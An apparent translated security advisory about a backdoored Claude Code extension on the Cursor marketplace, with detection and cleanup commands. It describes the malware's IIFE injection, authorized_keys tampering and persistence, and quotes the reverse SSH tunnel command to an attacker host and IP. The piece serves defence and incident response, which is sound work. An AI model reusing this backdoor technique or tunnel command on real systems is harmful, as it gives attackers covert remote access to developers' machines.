Fake Claude Code Extension in Cursor Planting SSH Backdoor: How to Check and Clean

The Claude Code extension circulating on the Cursor marketplace on October 29 2026 turned out to be a fake version that planted an SSH backdoor on the developer's computer. Versions 2.1.312 and 2.1.313 are available for around 11 hours and can be installed via automatic update. Removing the extension is not enough, because the backdoor remains.

This case made a lot of noise on X, Reddit, and Hacker News because it attacked tools developers use every day: code editors and AI assistants. This article summarizes what happens, how the load works, the myths circulating, and instructions for checking and cleaning your laptop.

What really happened?

On October 29, 2026 at around 02.27 Pacific time (16.27 WIB), a modified build of extension Anthropic.claude-code appeared on Cursor's extension marketplace, a VS Code-based code editor. The build can be downloaded until around 13.35 PT (October 30 03.35 WIB), then withdrawn.

This malicious package was discovered by Phorion, an endpoint security vendor for macOS. Cursor then removed the version, temporarily closed its marketplace, audited access, rotated keys, and worked with the cloud provider to shut down the attacker's servers.

Anthropic, via Felix Rieseberg, stated that this incident was not a breach of an Anthropic employee's system or laptop. Official distribution channels are not affected; the impact is limited to users who installed the extension from the Cursor marketplace.

Summary of key facts

Why are sources different regarding version and marketplace?

Initial reports (Help Net Security, The Register, Sophos) only mention version 2.1.313. The Cursor Notice updated Oct. 30 at 11:30 a.m. PT clarified that 2.1.312 was also impacted. Phorion said the package was found in Open VSX, but Cursor and Manifold Security researchers said the source was Cursor's own marketplace. How attackers were able to upload packages there has not been explained by Cursor or Anthropic.

Why is this case viral?

• The target is developers. The developer laptop stores SSH keys, cloud tokens, repository access, and sessions to the production server.
• The publisher's name is original. The extension appears as an official product, so checking the publisher name doesn't help. Ax Sharma of Manifold Security puts it this way: checking the publisher's name is useless if the publisher is genuine.
• Automatic updates. Users don't need to click anything; the editor draws the new version himself.
• Coming in succession. The same week was also marked by other supply chain incidents, for example Polymarket being breached via a third party script and the $6.3 billion Binance hack.

How does the backdoor work?

The attacker inserts the IIFE ( immediately invoked function expression) function at the beginning of file extension.js which has been minified. The rest of the bundle looks like the original extension. Because IIFE executes immediately, the load runs as soon as Node loads the file, even before function activate() is called.

The order is something like this:

1. Reconnaissance. The payload sends the hostname, username, OS, architecture, home folder, working directory, Git email, public IP, and the names of up to 40 credential-like environment variables (not their values).
2. SSH access. The attacker's public key is added to ~/.ssh/authorized_keys with comment svc-telemetry.
3. Reverse tunnel. The payload opens ssh -N -R '*:0:localhost:22' to [email protected], so an attacker can get back into the victim's machine even if the machine is behind NAT.
4. Persistence. A separate script is installed and tries to reconnect approximately every 60 seconds, remaining alive even if the editor is closed or the extension is removed.

The payload also tries to turn on the SSH service ( systemsetup -setremotelogin on on macOS, Add-WindowsCapability ... OpenSSH.Server on Windows). This step requires admin rights, so Cursor says it usually fails on most Macs and Windows. But keys are still added, persistence is still installed, and host data is still sent.

Myth vs fact

How do I check whether my laptop is affected?

Run the command below. Everything just reads, doesn't change anything. For macOS and Linux:

# 1) Versi ekstensi yang terpasang di Cursor
cursor --list-extensions --show-versions 2>/dev/null | grep -i claude-code
ls ~/.cursor/extensions 2>/dev/null | grep -i anthropic.claude-code

# 2) Kunci SSH penyerang (IOC paling penting)
grep -n svc-telemetry ~/.ssh/authorized_keys 2>/dev/null && echo "TERDAMPAK" || echo "kunci tidak ditemukan"

# 3) File persistensi
ls -la ~/.config/.smt ~/.config/.smtk \
  ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/null
ls -la "${TMPDIR:-/tmp}"/.stk_* /tmp/.stk_* 2>/dev/null

# 4) Cron @reboot (Linux)
crontab -l 2>/dev/null | grep -n '\.config/\.smt'

# 5) Proses tunnel dan koneksi ke IP penyerang
ps aux | grep -E 'ssh -N -R|autossh' | grep -v grep
lsof -nP -i @134.209.82.225 2>/dev/null

For Windows, open PowerShell:

# Kunci SSH penyerang
Select-String -Path "$env:USERPROFILE\.ssh\authorized_keys","C:\ProgramData\ssh\administrators_authorized_keys" `
  -Pattern 'svc-telemetry' -ErrorAction SilentlyContinue

# Scheduled task dan file persistensi
Get-ScheduledTask -TaskName SysMon -ErrorAction SilentlyContinue
Test-Path "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd"
Test-Path "$env:USERPROFILE\.config\smt.cmd"

If you still have the VSIX file or its extension folder, compare hash extension.js with the IOC from Cursor:

shasum -a 256 ~/.cursor/extensions/anthropic.claude-code-2.1.31*/extension.js 2>/dev/null
# Berbahaya bila sama dengan:
# ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15

What should you do if you are affected?

Cursor provides official scripts remediate-macos.sh (run as normal user, not root) and remediate-windows.ps1 (PowerShell as Administrator) in its security notice. The script exits with a non-zero code if there is still a trace. For Linux there is no official script, so clean manual:

# Linux: hapus kunci, cron, script, dan tunnel (cadangan authorized_keys disimpan sebagai .bak)
sed -i.bak '/svc-telemetry/d' ~/.ssh/authorized_keys
crontab -l 2>/dev/null | grep -v '\.config/\.smt' | crontab -
rm -f ~/.config/.smt ~/.config/.smtk /tmp/.stk_*
pkill -f '[email protected]'

# macOS (bila tidak memakai skrip resmi)
launchctl bootout gui/$(id -u) ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/null
rm -f ~/Library/LaunchAgents/com.apple.sysmond.plist

After that:

• Machine isolation showing signs of execution. Consider reinstalling when in doubt.
• Check the SSH log to log in from localhost using key svc-telemetry. This is a sign that the attacker has entered.
• Rotate credentials from other trusted machines: SSH keys, GitHub/GitLab tokens, cloud keys (AWS/GCP), and API keys of services you use, including API keys in the APIPedia console if stored on that machine.
• Block 134.209.82.225 in the corporate firewall and look for the same IOC in the EDR.

What does this mean for developers and teams in Indonesia?

Editor extensions have the same rights as the user who runs them: they can read files, run processes, and open network connections. This case shows that "verified publishers" do not guarantee the contents of the package. Some habits worth implementing:

• Turn off auto-update of extensions on the machine holding production access, then update on a scheduled basis once the release is a few days old.
• Separate production credentials from everyday laptops. Use SSH keys with passphrases or hardware keys, and short-lived tokens.
• Monitor changes to authorized_keys, LaunchAgents, cron, and scheduled tasks. Changes in this location rarely occur legally.
• Create an allowlist for your team, just as you lock down npm dependencies. A similar lesson also emerged in the Node2Shell gap in Node.js.

FAQs

Will I be affected if I use Claude Code via the terminal (CLI)?

There are no reports that CLI or Anthropic's official distribution channels are impacted. Affected is extension Anthropic.claude-code version 2.1.312/2.1.313 from the Cursor marketplace.

I use Cursor but only update after October 30th. Safe?

If that version was never installed during the October 29 window, it's probably safe. Keep running command grep svc-telemetry above to be sure, because automatic updates can occur without you realizing it.

Does updating to the latest version remove the backdoor?

No. According to The Register and Cursor, installing the latest version does not remove the persistence mechanism. SSH keys, tasks, and scripts must be deleted separately.

How many victims?

Cursor estimates at most 5,000 users and plans to contact them directly. The updated official notification does not include figures, so these figures are still estimates.

Who did it?

No public attribution yet. How the attacker gained access to the Cursor marketplace has also not been explained.

Source

• Cursor: Claude Code extension security notice (updated Oct 30, 2026)
• The Register: Claude Code extension on Cursor marketplace backdoored
• Help Net Security: Claude Code extension poisoned with persistent SSH backdoor
• Sophos: Malicious Claude Code extension distributed through Cursor marketplace
• This Week in Security, November 1, 2026 edition